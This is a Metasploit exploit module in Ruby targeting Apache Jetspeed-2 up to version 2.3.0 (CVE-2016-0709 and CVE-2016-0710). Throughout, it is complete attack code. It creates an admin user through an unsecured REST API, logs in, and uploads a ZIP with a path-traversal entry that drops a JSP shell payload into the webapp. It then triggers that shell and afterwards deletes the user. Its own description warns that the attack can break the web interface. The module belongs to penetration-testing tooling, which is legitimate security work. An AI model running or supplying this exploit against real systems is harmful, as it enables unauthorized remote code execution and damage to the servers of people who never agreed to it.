##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Jetspeed Arbitrary File Upload',
        'Description' => %q{
          This module exploits the unsecured User Manager REST API and a ZIP file
          path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
          versions, to upload and execute a shell.

          Note: this exploit will create, use, and then delete a new admin user.

          Warning: in testing, exploiting the file upload clobbered the web
          interface beyond repair. No workaround has been found yet. Use this
          module at your own risk. No check will be implemented.
        },
        'Author' => [
          'Andreas Lindh', # Vulnerability discovery
          'wvu'            # Metasploit module
        ],
        'References' => [
          ['CVE', '2016-0710'],
          ['CVE', '2016-0709'],
          ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
          ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
          ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
        ],
        'DisclosureDate' => '2016-03-06',
        'License' => MSF_LICENSE,
        'Arch' => ARCH_JAVA,
        'Privileged' => false,
        'Targets' => [
          ['Apache Jetspeed <= 2.3.0 (Linux)', { 'Platform' => 'linux' }],
          ['Apache Jetspeed <= 2.3.0 (Windows)', { 'Platform' => 'win' }]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      Opt::RPORT(8080)
    ])
  end

  def print_status(msg = '')
    super("#{peer} - #{msg}")
  end

  def print_warning(msg = '')
    super("#{peer} - #{msg}")
  end

  def exploit
    print_status("Creating admin user: #{username}:#{password}")
    create_admin_user
    print_status('Logging in as newly created admin')
    jetspeed_login
    print_status("Uploading payload ZIP: #{zip_filename}")
    upload_payload_zip
    print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
    exec_jsp_shell
  end

  def cleanup
    print_status("Deleting user: #{username}")
    delete_user
    super
  end

  #
  # Exploit methods
  #

  def create_admin_user
    send_request_cgi(
      'method' => 'POST',
      'uri' => '/jetspeed/services/usermanager/users',
      'vars_post' => {
        'name' => username,
        'password' => password,
        'password_confirm' => password
      }
    )
    send_request_cgi(
      'method' => 'POST',
      'uri' => "/jetspeed/services/usermanager/users/#{username}",
      'vars_post' => {
        'user_enabled' => 'true',
        'roles' => 'admin'
      }
    )
  end

  def jetspeed_login
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/jetspeed/login/redirector'
    )

    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => '/jetspeed/login/j_security_check',
      'cookie' => res.get_cookies,
      'vars_post' => {
        'j_username' => username,
        'j_password' => password
      }
    )

    @cookie = res.get_cookies
  end

  # Let's pretend we're mechanize
  def import_file
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/jetspeed/portal/Administrative/site.psml',
      'cookie' => @cookie
    )

    html = res.get_html_document
    import_export = html.at('//a[*//text() = "Import/Export"]/@href')

    res = send_request_cgi!(
      'method' => 'POST',
      'uri' => import_export,
      'cookie' => @cookie
    )

    html = res.get_html_document
    html.at('//form[*//text() = "Import File"]/@action')
  end

  def upload_payload_zip
    zip = Rex::Zip::Archive.new
    zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)

    mime = Rex::MIME::Message.new
    mime.add_part(zip.pack, 'application/zip', 'binary',
                  %(form-data; name="fileInput"; filename="#{zip_filename}"))
    mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
    mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')

    case target['Platform']
    when 'linux'
      register_file_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
      register_dir_for_cleanup("../temp/#{username}")
    when 'win'
      register_file_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
      register_dir_for_cleanup("..\\temp\\#{username}")
    end

    send_request_cgi(
      'method' => 'POST',
      'uri' => import_file,
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'cookie' => @cookie,
      'data' => mime.to_s
    )
  end

  def exec_jsp_shell
    send_request_cgi(
      'method' => 'GET',
      'uri' => "/jetspeed/#{jsp_filename}",
      'cookie' => @cookie
    )
  end

  #
  # Cleanup methods
  #

  def delete_user
    send_request_cgi(
      'method' => 'DELETE',
      'uri' => "/jetspeed/services/usermanager/users/#{username}"
    )
  end

  #
  # Utility methods
  #

  def username
    @username ||= Rex::Text.rand_text_alpha_lower(8)
  end

  def password
    @password ||= Rex::Text.rand_text_alphanumeric(8)
  end

  def jsp_filename
    @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
  end

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
  end
end
